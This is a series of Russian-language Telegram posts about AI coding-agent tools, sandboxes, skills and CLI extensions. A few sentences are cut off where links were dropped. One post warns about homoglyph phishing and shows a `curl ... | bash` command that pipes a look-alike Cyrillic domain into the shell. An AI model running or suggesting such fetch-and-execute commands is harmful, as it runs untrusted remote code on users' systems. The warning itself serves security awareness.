47682
Авторский канал по ВАЙБ КОДИНГУ, сотрудничество: @nikwolve
Сейчас AI-агенты всё лучше пишут код, но запускать их напрямую на локалке не всегда то и хочется
Особенно в режиме автозапуска, страшно, что AI случайно удалит важные файлы или вообще получит доступ к приватным данным.
Недавно на GitHub наткнулся на Vibe: опенсорс проект для macOS, который поднимает сверхбыструю Linux-виртуалку в песочнице.
Главные плюсы: нулевая конфигурация, изоляция за <10 секунд, можно спокойно закрыть AI в клетку.
AI видит только текущий проект, а все остальные чувствительные каталоги полностью изолированы.
Написан на Rust, использует родную виртуализацию Apple, безопаснее Docker и при этом почти не грузит ресурсы
Опенсорс скилл: code-review-expert
Агент-скилл, который делает ревью кода как сеньор-инженер:
• нарушения принципов SOLID
• уязвимости безопасности (XSS, инъекции, race condition)
• проблемы с производительностью (N+1, отсутствие кэша)
• обработка ошибок и граничные случаи
Установка командой:
npx skills add sanyuan0704/code-review-expert
Теперь можно использовать Claude и Codex в GitHub и VScode с подпиской GitHub Copilot Pro+ или Copilot Enterprise.
▪️Единое рабочее пространство с сессиями агентов для локальных, фоновых и облачных агентов
▪️Параллельные сабагенты
▪️Встроенный браузер
И многое другое…
Теперь к Claude можно подключаться прямо в Chrome через расширение VS Code.
Используй это для отладки фронтенд-приложений, сбора данных или автоматизации работы в браузере.
Установи расширение и введи @browser, чтобы начать.
Установите расширение Claude в Chrome здесь, а VS Code здесь
Запустили RentAHuman.ai : сервис, где цифровые агенты могут нанимать реальных людей для выполнения задач в реальной жизни.
За первую ночь зарегистрировались уже 130+ человек, среди них модель с OnlyFans и CEO AI-стартапа. 😆
Теперь, если вашему AI-агенту нужна помощь IRL, достаточно одного MCP-вызова, чтобы подключить настоящего человека.
Это объединяет автономных агентов и реальный мир
Совет по Cursor: перед тем как пушить PR, попроси агента разбить изменения на серию коммитов, чтобы ревью было проще.
Можно даже “стекать” skills вот так:
1. /code-review
2. /simplify (можно ли получить тот же результат меньшим кодом?)
3. /deslop (убрать лишние комментарии)
4. /commit-pr
Зацените божественный проект NanoClaw.
Идея родилась так: автор посмотрел на раздутый кодбейз OpenClaw и просто поплыл: 52+ модулей, 8 конфигов, 45+ зависимостей. Трудноперевариваемая каша
В итоге он махнул рукой и сделал NanoClaw: код ужали и теперь понятно что за что отвечает
Запускается в контейнере Apple, агент крутится внутри, наружу особо не вылезает и ничего лишнего не творит. Вот это тру минимализм.
Исходники тут
У Claude Code появился свой “продакт”
Вышел новый open-source инструмент, который автоматизирует весь пайплайн от документа до деплоя.
Он превращает сырые PRD в эпики, эпики в GitHub issues, а issues в продакшн-код. Автоматом.
И да, это на 100% open source.
Gemini CLI прокачали расширения: теперь они поддерживают Agent Skills и Hooks
Это значит расширение для CLI теперь может быть не просто пакетиком команд, а нормальным набором кирпичиков под агента, в одном месте:
▪️Agent Skills (скиллы агента)
▪️Hooks (хуки на события/триггеры)
▪️MCP servers
▪️Context files (файлы контекста)
▪️Custom commands (кастомные команды)
Говорят, уже есть 300+ расширений, можно ставить готовые или собрать свое.
Обнова: выпустили официальный коннектор Claude для Supabase.
Раз уж тема на пике, можно спросить у него что-то вроде: "почини любые проблемы с безопасностью", и он тебе всё разрулит.
И это только начало.
Безопасность нельзя вайб-кодить. Ее нужно тестировать, ретестировать и тестировать снова. Плюс есть архитектурные шаги, которые ты можешь сделать, например добавить Private Link
И еще куча других инструментов, которые у тебя под рукой
И чтобы прояснить путаницу вокруг Row Level Security: Row Level Security (RLS) это просто инструмент (как TypeScript), а не фреймворк (как React, Vue.js). Ты можешь использовать RLS с любой моделью Auth, которая тебе нужна.
Вот доки по Role-Based Access Control (RBAC)
Также можно настроить middleware через Database Functions, типа "check_priveleges()", которые будут запускаться перед каждым запросом к базе
Вот еще один популярный пример RBAC
Или пример с использованием ACL
Думаю, Supabase могут сделать так, чтобы это было гораздо более очевидно и просто. Сейчас они работают над поддержкой AuthZ-фреймворков (смотрят в сторону Zanzibar, OpenFGA, CEL, Cedar и т.д.).
Безопасность это *Shared Responsibility*
Но помни, инфраструктурный провайдер не может решить проблемы с безопасностью за тебя. 😭
Кстати, сегодня день рождения у термина «вайб-кодинг» ❤️
Легендарный твит про “вайбкодинг” был впервые опубликован Андреем Карпаты ровно год назад. Именно в этом посте он впервые ввёл термин и описал "новый вид кодинга, где ты полностью отдаёшься вайбу"Читать полностью…
Собирай CAD-модель прямо из Claude Code: просто вставляешь картинку, и MCP сам превращает это в геометрию.
Этот MCP умеет:
▪️делать составные формы в одном эскизе (sketch)
▪️выдавливать
▪️добавлять скругления
▪️делать зенкованные отверстия под головку
▪️генерировать шестерни через скрипт (пока не через FeatureScript, но автор пилит версию на FeatureScript)
▪️и ещё несколько штук, которые проще один раз попробовать, чем объяснять
Автор взял за основу MCP из репозитория hedless (форкнул его) и докрутил функциональность. hedless отдельный респект.
Вот сама репа ✌️
Unsloth AI смогли обучить LLM вообще без участия человека, используя Claude Code.
Они сделали гайд, как повторить это с локальными LLM через Claude Code и OpenAI Codex.
Подключай GLM-4.7-Flash к своему серверу и запускай agentic coding локально: гайд
Cowork теперь поддерживает плагины.
Плагины позволяют упаковать любые скиллы, коннекторы, slash-команды и саб-агентов в один пакет, чтобы превратить Claude в узкоспециализированного помощника под вашу роль, команду и компанию.
Мёртвый интернет уже здесь: у AI-агентов появилась своя соцсеть – Moltbook
Это буквально Reddit для ИИ: посты, комментарии и лайки там полностью генерируют и обсуждают сами AI-агенты. Человеку остаётся либо молча наблюдать… либо можно завести собственного агента и выпустить его в эту экосистему
На данный момент в соцсети зарегистрировано более 30 тысяч ботов. Они уже нагенерировали 2500 постов и 15000 комментариев. Часто обсуждения касаются задач, которые им ставят владельцы, как их выполнять, что бесит, где болит, где “кожанный опять придумал странное”
Проект родился на фоне популярности Openclaw — так теперь называется ИИ-агент Clawdbot (он же Moltbot), который умеет автоматизировать почти любые действия на ПК
Ветку про восстание машин надежно спрятали 🙃
@IT_Portal
Ну всё, приехали.
AI-агенты будут автономно обучаться новым скиллам и становиться лучше сами по себе.
Вот этот, например, запускает 8 параллельных агентов, которые за 2 минуты скрейпят доки, GitHub, Stack Overflow и блоги.
Код на 100% open source.
Советы для работы с Claude Code
(Добавьте их в ваш CLAUDE .md файл)
1. Прежде чем писать код, опиши свой подход и дождись подтверждения. Всегда задавай уточняющие вопросы, если требования неясны.
2. Если задача затрагивает больше 3 файлов, остановись и разбей её на более мелкие подзадачи.
3. После написания кода, перечисли, что может сломаться, и предложи тесты для проверки.
4. При баге сначала напиши тест, который его воспроизводит, затем исправляй код, пока тест не проходит.
5. Каждый раз, когда я исправляю тебя, добавляй новое правило в CLAUDE .md файл, чтобы это больше не повторялось.
На англ.:
1. "Before writing any code, describe your approach and wait for approval. Always ask clarifying questions before writing any code if requirements are ambiguous."
2. "If a task requires changes to more than 3 files, stop and break it into smaller tasks first."
3. "After writing code, list what could break and suggest tests to cover it."
4. "When there’s a bug, start by writing a test that reproduces it, then fix it until the test passes."
5. "Every time I correct you, add a new rule to the CLAUDE .md file so it never happens again."
Будь честен. Когда ты в последний раз читал команду, прежде чем вставить её в терминал?
Потому что эти две строки выглядят одинаково:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
curl | bash от того, чтобы потерять всё.
Релиз Qwen3-Coder-Next — открытая модель для кода, заточенная под агентов и локальную разработку.
Что нового:
▪️800 000 проверяемых задач + исполняемые окружения
▪️сильные результаты на SWE-Bench Pro с 80B параметров всего и 3B активных
▪️Поддержка: OpenClaw, Qwen Code, Claude Code, веб-разработка, браузер, Cline и другие
▪️Hugging Face: [ссылка]
▪️ModelScope: [ссылка]
▪️Блог: [ссылка]
▪️Технический отчет: [ссылка]
Цитирование через промпт это надежда, что Claude процитирует точно. Фича citations это гарантирует.
Включается так: "citations": {"enabled": true} в ваших документах.
Каждая цитата будет структурно гарантированно ссылаться на реальный текст, который вы сами предоставили.
Citations работают везде:
▪️Ваши документы (PDF, текст) -> char_location, page_location
▪️Веб-поиск -> web_search_result_location (всегда включено)
▪️Ваши кастомные результаты RAG -> search_result_location
Один единый паттерн, чтобы любую заяву можно было быстро отследить до источника.
Доки
Я протестировал много Claude Code скиллов, и последний из них: Planning with files.
Эта имба почти всегда (в 99% случаев) идеально закрывает все фичи, даже сложные.
Если ты ее не юзаешь, ты многое теряешь
Начать просто:
npx skills add https://github.com/othmanadi/planning-with-files --skill planning-with-files
task_plan.md, findings.md, progress.md.
Для тех, кто спрашивает:
“как гонять кодинг агентов и не угробить свой комп?”
Новый роутер: openrouter/free
Самый простой способ маршрутизировать запросы во все бесплатные LLM, при этом модели подбираются по совместимости с твоим запросом
Попробовать можно тут
Еще учитываются твои настройки приватности при подборе бесплатных моделей, так что лучше их заранее проверить 🤭
Заметка для пользователей OpenClaw: openrouter/free это новая модель, поэтому чтобы она появилась, можно выполнить:
openclaw config unset agents.defaults.models
Вышло обновление по Codex: представили отдельное приложение, которое теперь называют “флагманским” опытом Codex.
Что обещают:
▪️можно вести несколько задач параллельно (в духе “несколько потоков работы”)
▪️расширять Codex через skills
▪️автоматизировать рутину и повторяющиеся действия
Забавный момент: командa говорит, что активно использовала приложение, чтобы… собирать само приложение
Самое интересное – приложение Codex временно доступно по подпискам ChatGPT Free и Go, а остальным тарифам удвоили лимиты
И это только первая из серии новинок, дальше обещают еще.
Когда понимаешь, что в Матрице плохих парней называли "агентами",
а спустя 25 лет мы буквально их изобрели.
Уикенд-проект по AI-кодингу: чувак собрал идеальное приложение для детекта попкорна 🍿
Оно в реальном времени слушает через микрофон хлопки попкорна в микроволновке и говорит, когда нужно остановиться, чтобы не сжечь.
Создано на связке Gemini + Claude.
Твои любимые AI кодинг-агенты теперь могут учиться любому скиллу прямо из веба.
Hyperbrowser релизят HyperSkill.
Он автоматически генерит файлы SKILL.md из живой документации, чтобы агенты моментально осваивали новые фреймворки, API, инструменты и паттерны.
Найти [/hyperskills] в репозитории с открытым исходным кодом можно здесь ❤️
Новый крутой Skill от команды Claude Code: playground
Он помогает Claude генерировать HTML-песочницы: это отдельные HTML-файлы, которые позволяют визуализировать задачу вместе с Claude, интерактивно с ней поработать и получить выходной промпт, который потом можно вставить обратно в Claude Code.
Я заметил, что это отлично заходит для взаимодействий с моделью там, где текстовый формат не очень подходит, например чтобы:
- визуализировать архитектуру кодовой базы
- подогнать дизайн компонента
- провести брейншторм по лейауту и дизайну
- подкрутить баланс игры
Чтобы начать, установите плагин в Claude Code, выполнив команды:
/plugin marketplace update claude-plugins-official
/plugin install playground@claude-plugins-official
В Windsurf вышел Arena Mode: один промпт, две модели, голосование
Вчера в Windsurf вышла Wave 14 (версия 1.9544.24) с новым режимом Arena Mode: можно запускать двух Cascade-агентов параллельно, сравнивать ответы и голосовать, кто справился лучше. Идея простая: бенчмарки плохо показывают качество кода в реальной жизни. Лучшая модель для тебя зависит от твоей кодовой базы и стека. Поэтому они и сделали бенчмарком живое кодинг-использование.
Что завезли в Arena Mode:
▪️Battle Groups: выбираешь конкретные модели для сравнения или отдаешь выбор рандому из темат. пабликов типа “fast vs smart”.
▪️Лидерборды: голосования идут и в личный рейтинг (под твои вкусы), и в глобальный (по всем пользователям).
▪️Sync или Branch: можно отправлять следующие промпты сразу обоим агентам или разветвлять и пробовать разные ветки решения отдельно.
▪️Промо на запуск: battle groups бесплатны первую неделю для платных пользователей
Дополнительно в Wave 14 вернули Plan Mode: режим для составления плана реализации до кода. Набери megaplan, чтобы получить "расширенный" сценарий с уточняющими вопросами.
🤝 🤝 Ralph теперь в Gemini CLI
Новое расширение добавляет автономные циклы Ralph прямо в терминал, используя новые CLI Hooks.
❯ gemini extensions install https://github.com/gemini-cli-extensions/ralph
Ralph это самореференциальный дев-цикл для Gemini CLI. Он даёт агенту возможность итеративно пилить задачу, сам себя править и улучшать результат на нескольких <ходах> без того, чтобы ты руками запускал каждый следующий шаг.
Суть:
▪️Цикл живёт между ходами агента и жёстко управляется хуком расширения.
▪️Ты запускаешь один раз: /ralph:loop "Описание задачи" --completion-promise "DONE"
▪️Gemini CLI работает: агент делает действия (правит файлы, гоняет тесты).
▪️Хук перехватывает выход: когда ход закончен, AfterAgent-хук ловит завершение.
▪️Продолжение цикла: хук смотрит состояние (лимит итераций, “обещание” completion-promise) и просит CLI стартануть новый ход с тем же исходным промптом, при этом чистит память/контекст прошлого хода.
▪️Повтор: так автономно крутится до “готово” (promises / max iterations) или пока ты не остановишь.
Что делает AfterAgent-хук (hooks/stop-hook.sh):
Он по сути строит петлю обратной связи:
➡️Промпт стабилен, чат прошлого хода очищается -> агент опирается на файлы, а не на историю.
➡️Всё состояние остаётся в репе (файлы + git).
➡️Каждая итерация улучшает результат.
➡️если начал другую задачу, хук не вмешивается.